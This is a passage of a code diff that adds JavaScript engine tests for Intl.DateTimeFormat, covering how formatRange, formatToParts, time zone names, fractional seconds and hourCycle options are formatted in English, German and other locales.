+ start: 1,
+ end: 24,
+ data: [
+ "1/1/1970, 1 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 1 AM – 1/2/1970, 0 AM",
+ "1/1/1970, 1 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 01 – 1/2/1970, 00",
+ "1/1/1970, 01 – 1/2/1970, 24",
+ ],
+ },
+
+ // Noon to morning.
+ {
+ start: 12,
+ end: 24 + 1,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 0 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 12 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 12 – 1/2/1970, 01",
+ "1/1/1970, 12 – 1/2/1970, 01",
+ ],
+ },
+ // Noon to noon.
+ {
+ start: 12,
+ end: 24 + 12,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 0 PM – 1/2/1970, 0 PM",
+ "1/1/1970, 12 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 12 – 1/2/1970, 12",
+ "1/1/1970, 12 – 1/2/1970, 12",
+ ],
+ },
+ // Noon to evening.
+ {
+ start: 12,
+ end: 22,
+ data: [
+ "12 – 10 PM",
+ "0 – 10 PM",
+ "12 – 10 PM",
+ "12 – 22",
+ "12 – 22",
+ ],
+ },
+ // Noon to midnight.
+ {
+ start: 12,
+ end: 24,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 0 PM – 1/2/1970, 0 AM",
+ "1/1/1970, 12 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 12 – 1/2/1970, 00",
+ "1/1/1970, 12 – 1/2/1970, 24",
+ ],
+ },
+
+ // Evening to morning.
+ {
+ start: 22,
+ end: 24 + 1,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 22 – 1/2/1970, 01",
+ "1/1/1970, 22 – 1/2/1970, 01",
+ ],
+ },
+ // Evening to noon.
+ {
+ start: 22,
+ end: 24 + 12,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 10 PM – 1/2/1970, 0 PM",
+ "1/1/1970, 10 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 22 – 1/2/1970, 12",
+ "1/1/1970, 22 – 1/2/1970, 12",
+ ],
+ },
+ // Evening to evening.
+ {
+ start: 22,
+ end: 23,
+ data: [
+ "10 – 11 PM",
+ "10 – 11 PM",
+ "10 – 11 PM",
+ "22 – 23",
+ "22 – 23",
+ ],
+ },
+ // Evening to midnight.
+ {
+ start: 22,
+ end: 24,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 0 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 22 – 1/2/1970, 00",
+ "1/1/1970, 22 – 1/2/1970, 24",
+ ],
+ },
+ ],
+
+ "de": [
+ // Midnight to morning.
+ {
+ start: 0,
+ end: 10,
+ data: [
+ "00–10 Uhr",
+ "0 – 10 Uhr AM",
+ "12 – 10 Uhr AM",
+ "00–10 Uhr",
+ "24–10 Uhr",
+ ],
+ },
+ // Midnight to noon.
+ {
+ start: 0,
+ end: 12,
+ data: [
+ "00–12 Uhr",
+ "0 Uhr AM – 0 Uhr PM",
+ "12 Uhr AM – 12 Uhr PM",
+ "00–12 Uhr",
+ "24–12 Uhr",
+ ],
+ },
+ // Midnight to evening.
+ {
+ start: 0,
+ end: 22,
+ data: [
+ "00–22 Uhr",
+ "0 Uhr AM – 10 Uhr PM",
+ "12 Uhr AM – 10 Uhr PM",
+ "00–22 Uhr",
+ "24–22 Uhr",
+ ],
+ },
+ // Midnight to midnight.
+ {
+ start: 0,
+ end: 24,
+ data: [
+ "1.1.1970, 00 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 0 Uhr AM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 12 Uhr AM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 00 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 24 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Morning to morning.
+ {
+ start: 1,
+ end: 10,
+ data: [
+ "01–10 Uhr",
+ "1 – 10 Uhr AM",
+ "1 – 10 Uhr AM",
+ "01–10 Uhr",
+ "01–10 Uhr",
+ ],
+ },
+ // Morning to noon.
+ {
+ start: 1,
+ end: 12,
+ data: [
+ "01–12 Uhr",
+ "1 Uhr AM – 0 Uhr PM",
+ "1 Uhr AM – 12 Uhr PM",
+ "01–12 Uhr",
+ "01–12 Uhr",
+ ],
+ },
+ // Morning to evening.
+ {
+ start: 1,
+ end: 22,
+ data: [
+ "01–22 Uhr",
+ "1 Uhr AM – 10 Uhr PM",
+ "1 Uhr AM – 10 Uhr PM",
+ "01–22 Uhr",
+ "01–22 Uhr",
+ ],
+ },
+ // Morning to midnight.
+ {
+ start: 1,
+ end: 24,
+ data: [
+ "1.1.1970, 01 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 1 Uhr AM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 1 Uhr AM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 01 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 01 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Noon to morning.
+ {
+ start: 12,
+ end: 24 + 1,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ ],
+ },
+ // Noon to noon.
+ {
+ start: 12,
+ end: 24 + 12,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 0 Uhr PM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 12 Uhr PM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ ],
+ },
+ // Noon to evening.
+ {
+ start: 12,
+ end: 22,
+ data: [
+ "12–22 Uhr",
+ "0 – 10 Uhr PM",
+ "12 – 10 Uhr PM",
+ "12–22 Uhr",
+ "12–22 Uhr",
+ ],
+ },
+ // Noon to midnight.
+ {
+ start: 12,
+ end: 24,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Evening to morning.
+ {
+ start: 22,
+ end: 24 + 1,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ ],
+ },
+ // Evening to noon.
+ {
+ start: 22,
+ end: 24 + 12,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 0 Uhr PM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 12 Uhr PM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ ],
+ },
+ // Evening to evening.
+ {
+ start: 22,
+ end: 23,
+ data: [
+ "22–23 Uhr",
+ "10 – 11 Uhr PM",
+ "10 – 11 Uhr PM",
+ "22–23 Uhr",
+ "22–23 Uhr",
+ ],
+ },
+ // Evening to midnight.
+ {
+ start: 22,
+ end: 24,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+ ],
+};
+
+const hourCycles = [undefined, "h11", "h12", "h23", "h24"];
+const hour12Values = [true, false];
+const options = {hour: "2-digit", timeZone: "UTC"};
+const hourToMillis = 60 * 60 * 1000;
+
+for (let [locale, test] of Object.entries(tests)) {
+ // Find the matching hourCycle for each hour12 value.
+ let hour12Cycles = hour12Values.map(hour12 => {
+ let {hourCycle} = new Intl.DateTimeFormat(locale, {...options, hour12}).resolvedOptions();
+ return hourCycles.indexOf(hourCycle);
+ });
+
+ for (let {start, end, data} of Object.values(test)) {
+ assertEq(data.length, hourCycles.length);
+
+ // Test all possible "hourCycle" values, including |undefined|.
+ for (let i = 0; i < hourCycles.length; i++) {
+ let hourCycle = hourCycles[i];
+ let expected = data[i];
+ let dtf = new Intl.DateTimeFormat(locale, {...options, hourCycle});
+
+ assertEq(dtf.formatRange(start * hourToMillis, end * hourToMillis), expected,
+ `hourCycle: ${hourCycle}`);
+ }
+
+ // Test all possible "hour12" values.
+ for (let i = 0; i < hour12Values.length; i++) {
+ let hour12 = hour12Values[i];
+ let dtf = new Intl.DateTimeFormat(locale, {...options, hour12});
+ let expected = data[hour12Cycles[i]];
+
+ assertEq(dtf.formatRange(start * hourToMillis, end * hourToMillis), expected,
+ `hour12: ${hour12}`);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js
new file mode 100644
index 0000000000..67cebd1843
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// formatRange() returns the same output as format() when the date-time difference between
+// the start and end date is too small.
+
+// Test case when skeleton can't be retrieved from resolved pattern (bug 1298794).
+// - Best-fit pattern for the skeleton "MMMMMdd" is "M月dd日".
+// - Best-fit pattern for the skeleton "Mdd" is "M/dd".
+//
+// So in both cases the skeleton characters in the pattern are "Mdd", which means we can't
+// retrieve the original input skeleton by simply inspecting the resolved pattern.
+//
+// Also see: https://unicode-org.atlassian.net/browse/ICU-13518
+{
+ let dtf = new Intl.DateTimeFormat("zh", {month: "narrow", day: "2-digit", timeZone: "UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that date-/time-style leads to the same output.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20710
+{
+ let dtf = new Intl.DateTimeFormat("en", {dateStyle: "full", timeStyle: "full"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that the hourCycle option is correctly processed (test with h24).
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20707
+{
+ let dtf = new Intl.DateTimeFormat("en-u-hc-h24", {hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+{
+ let dtf = new Intl.DateTimeFormat("en", {hourCycle: "h24", hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that the hourCycle option is correctly processed (test with h11).
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20707
+{
+ let dt = 60 * 60 * 1000; // one hour
+ let dtf = new Intl.DateTimeFormat("en-u-hc-h11", {hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(dt, dt), dtf.format(dt));
+}
+{
+ let dt = 60 * 60 * 1000; // one hour
+ let dtf = new Intl.DateTimeFormat("en", {hourCycle: "h11", hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(dt, dt), dtf.format(dt));
+}
+
+// Test that non-default calendars work correctly.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20706
+{
+ let dtf = new Intl.DateTimeFormat("en-001-u-ca-hebrew");
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-original-skeleton.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-original-skeleton.js
new file mode 100644
index 0000000000..c24598794e
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-original-skeleton.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test that the interval formatting uses the original skeleton, not the skeleton
+// derived from the resolved pattern.
+{
+ let dtf = new Intl.DateTimeFormat("zh-Hans-CN", {
+ formatMatcher: "best fit",
+ month: "narrow",
+ day: "2-digit",
+ timeZone: "UTC"
+ });
+
+ assertEq(dtf.format(Date.UTC(2016, 7, 1)), "8月01日");
+ assertEq(dtf.formatRange(Date.UTC(2016, 7, 1), Date.UTC(2016, 7, 2)), "8月1日至2日");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js b/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js
new file mode 100644
index 0000000000..62f0d69406
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js
@@ -0,0 +1,96 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+const {
+ Era, Year, Month, Weekday, Day, DayPeriod, Hour, Minute, Second, Literal
+} = DateTimeFormatParts
+
+var format;
+var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertParts(format, date, [
+ Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+]);
+
+// Just date
+format = new Intl.DateTimeFormat("en-us", {
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+]);
+
+// Just time in hour24
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: false,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Hour("03"), Literal(":"), Minute("00"), Literal(":"), Second("42"),
+]);
+
+// Just time in hour12
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Hour("3"), Literal(":"), Minute("00"), Literal(":"), Second("42"), Literal(" "), DayPeriod("AM"),
+]);
+
+// Just month.
+format = new Intl.DateTimeFormat("en-us", {
+ month: "narrow",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Month("D"),
+]);
+
+// Just weekday.
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: "narrow",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Weekday("M"),
+]);
+
+// Year and era.
+format = new Intl.DateTimeFormat("en-us", {
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Year("2012"), Literal(" "), Era("AD"),
+]);
+
+// Time and date
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: 'long',
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Weekday("Monday"), Literal(", "), Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+ Literal(", "),
+ Hour("3"), Literal(":"), Minute("00"), Literal(":"), Second("42"), Literal(" "), DayPeriod("AM"),
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js
new file mode 100644
index 0000000000..f3de06bb97
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure we provide 'long' and 'short' descriptive names for non-meta time
+// zones. (CLDR stores names for Etc/UTC, Europe/Dublin, and Europe/London as
+// non-meta zones.)
+
+const date = new Date(Date.UTC(2018, 7-1, 24));
+const tests = [
+ {
+ locale: "en-US",
+ timeZoneName: "long",
+ zones: {
+ "Etc/UTC": "7/24/2018, Coordinated Universal Time",
+ "Europe/Dublin": "7/24/2018, Irish Standard Time",
+ "Europe/London": "7/24/2018, British Summer Time",
+ }
+ },
+ {
+ locale: "de",
+ timeZoneName: "long",
+ zones: {
+ "Etc/UTC": "24.7.2018, Koordinierte Weltzeit",
+ "Europe/Dublin": "24.7.2018, Irische Sommerzeit",
+ "Europe/London": "24.7.2018, Britische Sommerzeit",
+ }
+ },
+
+ {
+ locale: "en-US",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "7/24/2018, GMT+1",
+ "Europe/London": "7/24/2018, GMT+1",
+ }
+ },
+ {
+ locale: "en-GB",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "24/07/2018, GMT+1",
+ "Europe/London": "24/07/2018, BST",
+ }
+ },
+ {
+ locale: "en-IE",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "24/7/2018, IST",
+ "Europe/London": "24/7/2018, GMT+1",
+ }
+ },
+];
+
+for (let {locale, timeZoneName, zones} of tests) {
+ for (let [timeZone, expected] of Object.entries(zones)) {
+ assertEq(new Intl.DateTimeFormat(locale, {timeZone, timeZoneName}).format(date),
+ expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js
new file mode 100644
index 0000000000..5cc3bf10cf
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+};
+const longFormatOptions = Object.assign({}, defaultOptions, {
+ month: "long"
+});
+const tzNameFormatOptions = Object.assign({}, defaultOptions, {
+ timeZoneName: "short"
+});
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "America/New_York",
+ options: tzNameFormatOptions,
+ result: "12/6/2012, 7:00:00 AM EST",
+ },
+ {
+ timeZone: "America/Caracas",
+ result: "12/6/2012, 7:30:00 AM",
+ },
+ {
+ timeZone: "Europe/London",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "Africa/Casablanca",
+ locale: "ar-MA-u-ca-islamicc", options: longFormatOptions,
+ result: "22 محرم 1434 هـ في 12:00:00",
+ },
+ {
+ timeZone: "Europe/Berlin",
+ locale: "de-DE", options: tzNameFormatOptions,
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Asia/Kathmandu",
+ result: "12/6/2012, 5:45:00 PM",
+ },
+ {
+ timeZone: "Asia/Bangkok",
+ locale: "th-th-u-nu-thai", options: longFormatOptions,
+ result: "๖ ธันวาคม ๒๕๕๕ เวลา ๑๙:๐๐:๐๐",
+ },
+ {
+ timeZone: "Asia/Tokyo",
+ locale: "ja-JP", options: longFormatOptions,
+ result: "2012年12月6日 21:00:00",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ result: "12/6/2012, 11:00:00 PM",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ date: Date.UTC(2012, 7-1, 6, 12, 0, 0),
+ result: "7/6/2012, 10:30:00 PM",
+ },
+ {
+ timeZone: "Pacific/Kiritimati",
+ date: Date.UTC(1978, 12-1, 6, 12, 0, 0),
+ result: "12/6/1978, 1:20:00 AM",
+ },
+ {
+ timeZone: "Africa/Monrovia",
+ date: Date.UTC(1971, 12-1, 6, 12, 0, 0),
+ result: "12/6/1971, 11:15:30 AM",
+ },
+ {
+ timeZone: "Asia/Riyadh",
+ date: Date.UTC(1946, 12-1, 6, 12, 0, 0),
+ result: "12/6/1946, 3:06:52 PM",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(locale, Object.assign({timeZone: map(timeZone)}, options));
+ assertEq(dtf.format(date), result);
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js
new file mode 100644
index 0000000000..0ef5540179
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ DayPeriod, Hour, Minute, Second, FractionalSecond, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ // https://unicode-org.atlassian.net/browse/CLDR-13184
+ // https://unicode-org.atlassian.net/browse/CLDR-13623
+ {
+ locale: "en",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {hour: "numeric", fractionalSecondDigits: 3},
+ parts: [
+ Hour("12"),
+ Literal(" "),
+ DayPeriod("AM"),
+ Literal(" (Fractional Second: "),
+ FractionalSecond("123"),
+ Literal(")")
+ ]
+ },
+
+ // https://unicode-org.atlassian.net/browse/ICU-20992
+ {
+ locale: "ckb-IR",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {minute: "2-digit", fractionalSecondDigits: 3},
+ parts: [
+ Minute("٠٠"),
+ Literal(":"),
+ Second("٠٠"),
+ Literal("٫"),
+ FractionalSecond("١٢٣"),
+ ]
+ },
+
+ // https://unicode-org.atlassian.net/browse/ICU-20992
+ {
+ locale: "ckb-IR",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {dayPeriod: "short", fractionalSecondDigits: 3},
+ parts: [
+ FractionalSecond("١٢٣"),
+ Literal(" (Dayperiod: "),
+ DayPeriod("ب.ن"),
+ Literal(")")
+ ]
+ },
+];
+
+for (let {locale, date, options, parts} of tests) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+ assertParts(dtf, date, parts);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js
new file mode 100644
index 0000000000..c6c29be604
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Second, FractionalSecond, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ {
+ date: new Date("2019-01-01T00:00:00.123"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("1")],
+ 2: [Second("0"), Literal("."), FractionalSecond("12")],
+ 3: [Second("0"), Literal("."), FractionalSecond("123")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00.023"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("0")],
+ 2: [Second("0"), Literal("."), FractionalSecond("02")],
+ 3: [Second("0"), Literal("."), FractionalSecond("023")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00.003"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("0")],
+ 2: [Second("0"), Literal("."), FractionalSecond("00")],
+ 3: [Second("0"), Literal("."), FractionalSecond("003")],
+ }
+ },
+];
+
+for (let {date, digits} of tests) {
+ for (let [fractionalSecondDigits, parts] of Object.entries(digits)) {
+ let dtf = new Intl.DateTimeFormat("en", {second: "numeric", fractionalSecondDigits});
+
+ assertParts(dtf, date, parts);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js b/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js
new file mode 100644
index 0000000000..21414c72cf
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js
@@ -0,0 +1,142 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const hourCycleToH12Map = {
+ "h11": true,
+ "h12": true,
+ "h23": false,
+ "h24": false,
+};
+
+for (const key of Object.keys(hourCycleToH12Map)) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ const dtf2 = new Intl.DateTimeFormat(langTag, {hour: "numeric", hourCycle: key});
+ assertEq(dtf.resolvedOptions().hourCycle, dtf2.resolvedOptions().hourCycle);
+}
+
+
+/* Legacy hour12 compatibility */
+
+// When constructed with hourCycle option, resolvedOptions' hour12 is correct.
+for (const key of Object.keys(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", hourCycle: key});
+ assertEq(dtf.resolvedOptions().hour12, hourCycleToH12Map[key]);
+}
+
+// When constructed with hour12 option, resolvedOptions' hourCycle is correct
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", hour12: value});
+ assertEq(hourCycleToH12Map[dtf.resolvedOptions().hourCycle], value);
+}
+
+// When constructed with both hour12 and hourCycle options that don't match
+// hour12 takes a precedence.
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {
+ hour: "numeric",
+ hourCycle: key,
+ hour12: !value
+ });
+ assertEq(hourCycleToH12Map[dtf.resolvedOptions().hourCycle], !value);
+ assertEq(dtf.resolvedOptions().hour12, !value);
+}
+
+// When constructed with hourCycle as extkey, resolvedOptions' hour12 is correct.
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ assertEq(dtf.resolvedOptions().hour12, value);
+}
+
+const expectedValuesENUS = {
+ h11: "0 AM",
+ h12: "12 AM",
+ h23: "00",
+ h24: "24"
+};
+
+const exampleDate = new Date(2017, 10-1, 10, 0);
+for (const [key, val] of Object.entries(expectedValuesENUS)) {
+ assertEq(
+ Intl.DateTimeFormat("en-US", {hour: "numeric", hourCycle: key}).format(exampleDate),
+ val
+ );
+}
+
+const invalidHourCycleValues = [
+ "h28",
+ "f28",
+];
+
+for (const key of invalidHourCycleValues) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ assertEq(dtf.resolvedOptions().hour12, true); // default value for en-US
+ assertEq(dtf.resolvedOptions().hourCycle, "h12"); //default value for en-US
+}
+
+{
+ // hourCycle is not present in resolvedOptions when the formatter has no hour field
+ const options = Intl.DateTimeFormat("en-US", {hourCycle:"h11"}).resolvedOptions();
+ assertEq("hourCycle" in options, false);
+ assertEq("hour12" in options, false);
+}
+
+{
+ // Make sure that hourCycle option overrides the unicode extension
+ let dtf = Intl.DateTimeFormat("en-US-u-hc-h23", {hourCycle: "h24", hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h24"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides the unicode extension
+ let dtf = Intl.DateTimeFormat("en-US-u-hc-h23", {hour12: true, hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h12"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides hourCycle options
+ let dtf = Intl.DateTimeFormat("en-US",
+ {hourCycle: "h12", hour12: false, hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h23"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides hourCycle options
+ let dtf = Intl.DateTimeFormat("en-u-hc-h11", {hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().locale,
+ "en-u-hc-h11"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides unicode extension
